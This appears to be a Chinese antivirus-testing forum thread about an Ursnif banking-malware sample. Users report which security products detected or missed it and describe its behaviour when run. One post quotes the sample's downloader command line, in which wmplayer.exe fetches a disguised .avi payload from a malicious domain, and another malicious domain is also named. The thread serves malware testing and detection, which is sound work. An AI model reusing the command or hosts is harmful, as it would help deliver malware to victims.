Ursnif (19.02.15)

显示全部楼层 · 发表于 2019-2-16 18:44:57

chrome下载拦截，解压后蜘蛛文件监控杀

显示全部楼层 · 发表于 2019-2-16 19:58:40

智量kill，火绒miss，有空双击。。

显示全部楼层 · 发表于 2019-2-16 20:03:08

安天智甲，MISS 。。。管家无BD，killed 。

显示全部楼层 · 发表于 2019-2-16 20:18:22

Avira，killed 。

显示全部楼层 · 发表于 2019-2-16 20:29:33

你好，再见发表于 2019-2-16 18:07
程序动作太大了，极宝启发开最低都会杀。。。

下载器来的

CMD Line:"C:\Program Files\Windows Media Player\wmplayer.exe" /OCX /NoLibraryAdd /Play "http://w19jackyivah.com/images/ajABWIgNT/3TGn6C4MTrLjflp50Nwf/caki_2FZim1bA47FfOD/0LZGtaH9t1vElnbPDvu6zG/DVVkqmWCbkIFJ/2Cu27hcM/2eaaNjCRvKgiwa_2FpPD6l_/2FchptuM50/5WS_2Bh6iwot1u8Ik/wtZTIPSNOL/nn0NyJ0.avi" /prefetch:10

复制代码

hfmjerrodo.com --> Malicious Websites

显示全部楼层 · 发表于 2019-2-16 20:42:09

本帖最后由 www-tekeze 于 2019-2-16 20:56 编辑

www-tekeze 发表于 2019-2-16 19:58
智量kill，火绒miss，有空双击。。

双击，暗中通过IE联网，但没任何流量！ 5楼卡巴报Banker？明白了。。

补充：等了一刻钟，流量才1K，用智量和火绒快速扫描也没发现任何问题。

显示全部楼层 · 发表于 2019-2-16 20:54:51

卡巴免费版

[病毒样本] Ursnif (19.02.15)